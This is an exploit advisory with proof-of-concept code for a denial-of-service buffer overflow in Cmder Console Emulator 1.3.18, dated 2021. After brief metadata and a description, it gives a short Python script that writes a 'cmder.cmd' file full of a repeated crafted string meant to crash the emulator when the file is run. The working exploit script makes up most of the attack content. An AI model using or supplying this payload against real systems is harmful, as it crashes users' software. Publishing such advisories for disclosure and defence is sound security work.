Cmder Console Emulator version 1.3.18 suffers from a denial of service vulnerability.
3260120dfeee86831ae3e9e3635b49bc# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10
# [About - Cmder Console Emulator] :
#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.
# [Security Issue] :
#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition.
#E.g λ cmder.cmd
# [POC] :
PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)